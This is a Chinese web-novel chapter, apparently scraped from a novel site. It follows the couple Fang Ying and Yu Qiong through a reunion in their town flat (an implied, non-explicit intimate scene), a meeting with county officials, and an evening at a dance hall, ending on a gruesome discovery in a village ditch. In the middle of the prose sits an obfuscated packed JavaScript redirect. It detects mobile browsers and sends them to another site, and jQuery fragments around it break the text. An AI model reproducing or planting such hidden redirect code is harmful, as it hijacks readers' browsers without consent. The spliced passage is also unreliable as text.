今天是周末,面包车一早进城,方英到了新家,敲门却没人应,她拿了钥匙开门进屋,发现于穹没在。
她上次来,是在半个月前,当时家具家电都还没买,只是一套空空荡荡的刚装好的房子。这次来发现这里大不一样了,变得很像个家。
家里干净整洁,有了沙发和大床,沙发很舒适,床垫软软的,床单、被罩和窗帘的颜色清新素雅。
于穹还采购了彩电、洗衣机、电冰箱、电风扇。虽然这些家用电器在袁柔的时代早已普及,但她在这个年代的乡村生活已久,突然在新家的楼房里看到这些,有一种一下子步入现代化的感觉,奇妙、新鲜、愉快。
这房子采光很好,南北通透,她打开客厅的窗户,一阵清凉的风吹进来,顿觉神清气爽、心旷神怡。
她站在窗前眺望城市的风景,片刻后听见钥匙开门的声音,回眸看见于穹进门。
他看见她,满眼惊喜,瞬间雀跃,“柔柔,你终于来了!”
“昨天参加完枝枝的婚礼,今天一大早我就过来了。”她笑吟吟问道:“今天不是放假么,你这么早去哪了呀?”
“我去公园练早功了。”他大步来到她面前,一把将她揽进怀里,“媳妇儿,我好想你,你有没有想老公?”
他说这话时,直勾勾盯着她看,眼里的爱意思念和勾引撩拨清晰明了。
她回抱住他,与他对视一眼,心动到脸红,“想了,我当然想你,每天都想~”
“你只用嘴巴说想我吗?”
“还要怎么样?”
他低下头,俊美的脸凑近她,“亲我一下!”
她柔情蜜意地看着他,“啾~”地一下轻吻在他的脸颊。
他笑意深深,转过脸用手指点了点另一侧的脸颊,“这边也要!”
她再次嘟起嘴去亲他,这次没亲到他的脸,却吻到他迎过来的唇。
他的吻似是预谋已久,像是急不可耐,越吻越动情。
她不知是不是几天没见的缘故,竟觉得他有点变了,变得更加热情霸道。她无法抗拒,心醉神迷,既被动又主动地沦陷在他热烈的吻中,与他唇舌辗转,细腻交缠,呼吸都变得凌乱。
他将她越抱越紧,原本搂在她腰间的手,随着亲吻不安分地上下游走,要去解她胸前的扣子。
她其实也情难自禁,却轻握住他的手,害羞为难地皱了皱眉,柔声制止道:“哎,大白天的!”
“白天怕什么?锁着门拉上窗帘就好啦。这是城里的楼房,不像在村里的平房,白天可能随时来人,这里不会有人来打扰的。”
他故意做出委屈可怜的样子,不依不饶地缠着她,“媳妇儿,我们都好几天没见了,我想你想到快要发疯,吃不香睡不着,就像鱼离开了水,我这条小鱼都难受得快要死掉了……”
她抬手挡住他的嘴巴,温柔地说了句:“不许乱讲。”
“那可不可以?”他搂抱着她,勾起唇角笑着哄道:“柔柔,我们还想要宝宝呢,小宝宝不会凭空出现的,要抓紧一切时间,勤快一些才可以。”
她忍俊不禁,环上他的脖颈,垂眸笑得娇羞甜蜜,“那就……勤快一些吧。”
他心花怒放,轻松将她抱起,迫不及待地抱着她走进卧室。“勤快”了许久许久,反反复复,一遍又一遍。
直到傍晚时分,他们才牵着手一起出门。
买了菜回来的路上,碰上两个熟人。这二人一男一女,三十多岁,也是对夫妻。
于穹打招呼道:“高科长,姜记者!”
男人微笑回应:“小于,咱们私下见面,不用称呼职务,你就叫我高哥就行。”
于穹点头笑道:“高哥,嫂子。”他对二人介绍:“这是我爱人方英。”
又对方英说:“英子,高哥是县委宣传部的高科长,嫂子是县广电局的姜记者。”
他这阵子组织文艺培训、下乡演出,宣传部和广电局对文化工作采访宣传,所以他工作上与这二人常有对接,认识后渐渐熟络了。
“方英……”姜记者思索着说:“小于,我记得你是青山乡的,”她对方英问:“妹妹,你该不会就是,青山乡办服装厂的方英子吧?”
方英轻轻笑着点了一下头,“是我。”
“哎呀!”姜记者夸道:“妹妹,你真有本事呀,你可是咱县的致富带头人!”
“嫂子,你过奖了。”方英谦虚说:“我就是和村里的妇女们,一起做点小买卖。”
“那可不是,你是咱县的致富典型。”高科长对于穹说:“小于,真没想到,方英竟然是你媳妇儿。”
“弟妹,我们部里最近正想派新闻干事和广电记者,到你那采访呢。到时候登报、上电视,用咱县广播站的喇叭广一广,宣传宣传你的事迹。”
方英迟疑了一下,委婉推辞道:“高哥,我看不用了,我做的只是普通的小事,而且我们服装厂现在规模还小,未来还有很长的路要走呢。”
她只想踏踏实实带领妇女们干事创业,并不想出名当什么典型。
“那就更应该宣传了!”高科长道:“弟妹,我们去采访,不仅宣传你个人,也会宣传你们服装厂。”
“前段时间,咱临县有家肉联厂,经过他们县里一宣传,还吸引来南方的老板过来投资呢。”
于穹劝道:“英子,采访宣传是好事,对服装厂的发展有帮助,没准真能吸引来什么机遇。”
方英想了一下,“那好。高哥,嫂子,欢迎你们过段时间到我们村里来,到时我一定做好接待。”
高科长和姜记者点头应道:“好。”
姜记者看向于穹手上提的菜,“小于,你们现在还没吃晚饭吗?”
“噢,我们下午在……”于穹顿了一下,“在忙事情。刚买了菜,现在回去做饭。”
他问:“高哥,嫂子,你们这是干什么去?”
高科长和姜记者相视一笑,“今天周末,在家待着也没什么事,我俩去百花歌舞厅,想去跳会儿舞。”
方英听了,心里暗暗向往。
和那两人分别后,她对于穹问道:“老公,百花歌舞厅,是不就是你之前兼职,在那唱歌表演的那家舞厅呀?”
于穹点头,“嗯,对。就是那家。”
“晚上咱们也去吧?”方英眼里闪着期待,“虽然我不太会跳舞,但是去听听歌也好,我记得你之前说那里很热闹。”
他看向她,眼神暧昧,似笑非笑,“柔柔,晚上我们不是要,早点睡吗?”
她七分娇羞三分无语,轻声说道:“都‘睡’了一天了……”她摇了摇他的手,“老公,我想去嘛~”
他笑得宠溺,“可以~”牵紧她的手加快脚步,“那我们快点回家做饭,吃完饭就过去。”
夏末的夜晚微凉,再出门前,方英换上了一条连衣长裙,裙子底色纯白,带有淡紫色的朵朵鸢尾花,淡雅又温柔。于穹则穿了一件红色衬衫,搭配一条浅蓝色直筒牛仔裤,活泼又清爽。
他们来到歌舞厅,这里果然很热闹,年轻人很多,有青春洋溢的朋友伙伴,也有你侬我侬的情侣夫妻。
舞台上的乐队正在演奏迪斯科舞曲,“咚次哒次”节奏上头,炫彩灯光照得人眼花缭乱,人们跟着音乐肆意起舞,潇洒快乐。
他正要拉她一起跳舞,听到一个男声唤他:“于穹!”
他循声望去,看见一个四十岁左右脖戴大金链的光头男,是这家舞厅的老板谭刚,“刚哥!”
谭刚穿过人群走过来,和于穹握了一下手,“咱有将近一年没见了,听说你现在当干部了是吗?”
于穹笑了一下,“就是普通工作人员。”他问道:“刚哥,最近生意怎么样?”
“还行吧。没你在的那会儿好。”谭刚说道:“正好你今天过来了,上去唱首歌呗?唱啥都行,就当玩了,帮哥热热场,活跃活跃气氛。”
“不了刚哥。”于穹搂上方英的肩,“今天我带我媳妇儿,过来跳舞的。”
谭刚看向方英,“啊,这是弟妹啊!”他敞亮地笑道:“那行,那你们好好玩,想喝啥随便点哈,记哥账上。”
谭刚走开后,方英想了想,对于穹说:“老公,好久没看你在台上唱歌了。”
于穹有点意外,“你想看我上去唱吗?”
她笑容明媚灿烂,深深点了一下头,“想!”
他笑,“好,那我去和乐队说一声。”
过了一会儿,于穹登台,他演唱的是这两年超级流行的大热歌曲《冬天里的一把火》。
现在本就是夏天,这首歌更为现场的气氛加了一把火,人们的热情瞬间被点燃,跟着音乐舞动、拍手、叫好,所有人的目光聚焦在舞台中央,聚焦在于穹身上。
他像一位闪耀的明星,光芒万丈,魅力无限。他这个人平日里沉稳内敛,但只要一上了台,便会立马切换成另一种状态,活力四射,热情如火。他在舞台边唱边跳,表演松弛自如,游刃有余。
她和所有的观众一样,目光被他吸引,看他如此英俊、如此耀眼、如此迷人。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413296|197806||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
她想,如果他还不是她的丈夫,如果他只是一个初次见面的陌生人,她估计也会在这一刻,对他一见钟情。
一曲唱罢,他在掌声和欢呼后走下台,走回她的身边。
她看着他,爱意满满的眼神里像有星星,“老公,你好帅啊!你唱歌好好听!”
他笑了笑,“我在家不是也经常唱二人转、经常唱歌吗?”
“也是哦。”她有一瞬间的迷惑,“你在家也天天唱,可是为什么,感觉你在舞台上更有魅力呢?”
他轻轻捏了一下她的脸蛋,“大概是距离产生美吧。”
此刻灯光变得浪漫柔和,台上一位女歌手,唱起邓丽君的歌曲《我只在乎你》。
他一手揽上她的腰,一手握住她的手,“柔柔,我们跳舞吧!”
她有一点点紧张,“可是,我不太会跳舞。”
“没关系,交谊舞很简单。”他笑意盈盈,鼓励道:“我教你,你跟着我的步伐跳就好啦。”
她搭上他的肩膀,跳了几步之后竟真的觉得不难。她随着他的舞步,和他在舞池里共舞,看着眼前的他,想到舞台上的他,心中替他涌现出一丝丝遗憾。
他觉察到她若有所思,“柔柔,在想什么?”
“我在想,你没有去大地方唱戏、没有去更大的舞台,而是选择留下来,早早结婚做了我的丈夫。”
她的眼神柔情似水,隐约带有浅浅的若有似无的伤感和歉疚,望向他的眼眸,缓缓问道:“你会觉得遗憾吗?”
“和你结婚,我只嫌太晚。”他云淡风轻地温柔一笑,“说实话,一年前没有去邻省,当时我心里的确有一点点遗憾,大概有1%。”
“但是,能够娶到你,和你在一起,我心里有很多很多的幸福,至少有99%。”
“我们结婚之后,真实安稳的幸福每一天都在增加,把我的心填得满满当当,那一点点遗憾早就被挤跑了。”他洒脱地说:“我现在在文化馆,虽然会做些行政工作,但主要业务还是唱戏。”
“尽管没去更大的舞台,但我依然还在唱二人转,而且我的生活有你,我真的很满足。”
她听他说话,懂他的随遇而安和怡然自洽。她想,他无论做出哪种选择,都会拥有美好人生。她觉得无比幸运,因为他选择了和她在一起。
“谢谢你,留在我身边。”她含情脉脉地看着他,真情告白道:“我爱你,老公。我要一辈子和你在一起,永远不分开。”
“一辈子可不够。”他语气执着,带有几分撩人的蛮横,“如果有下辈子、下下辈子,我还要你嫁给我,做我的媳妇儿。”
她毫不犹豫答应,“好,我愿意。”
他清澈深邃的眼眸含着笑意和宠溺注视她几秒,贴近她耳边,用只有他们两人能听见的声音说:“柔柔,我好想亲亲你。”
“不行,”她眼神闪烁,欢喜娇羞中带有一丝慌乱,看了看周围跳舞的其他人,“这里这么多人呢……”
他看着她笑,片刻后快速凑近,就像他们婚礼那天一样,轻啄了一下她红扑扑的脸蛋。
舞台上女歌手的歌声悠扬婉转,回荡在舞厅里:
“任时光匆匆流去,我只在乎你,心甘情愿感染你的气息……”1
他搂着她漫舞,“跳完这支舞,我们就回家吧。”
方英在城里,一住住了一个星期。
倒不全是因为他这几天工作忙,她想留在城里陪他,而是因为这天之后连下了三天大雨,小河涨水冲垮了镇上的一座小桥。那桥处在回村的必经之路上,桥塌了什么车都过不了,她想回村自然也是没法子了。
天晴后抢修了三天,那桥终于修好,道路得以复通。她和于穹坐面包车回村这天,又下了一场大暴雨,不过幸好,傍晚回到村里时,雨已经停了。
村道的土路被大雨浇得泥泞不堪。她和他一起往家的方向走,远远看见一群乡亲聚在赵玉娇家大门外,似在往她家门前的走水沟里看,指指点点,议论纷纷。
方英和于穹走近,除了雨后的泥土气息之外,闻到一股血腥的臭味。
于穹走在前面,往走水沟里看了一眼,脸色骤变,连忙抬手挡住方英的眼睛,“柔柔,别看!”
方英不明所以,拿开于穹的手,探头朝走水沟一看,顿时脊背发凉,头皮发麻,一阵反胃,惊惧交加,吓出一身冷汗。
她正疑惑时,围观的人里有冒失的,大着嗓门叫道:“哎呀妈呀!这啥玩意儿啊?红次拉鲜、血呼淋啦的,是死孩子吗?!”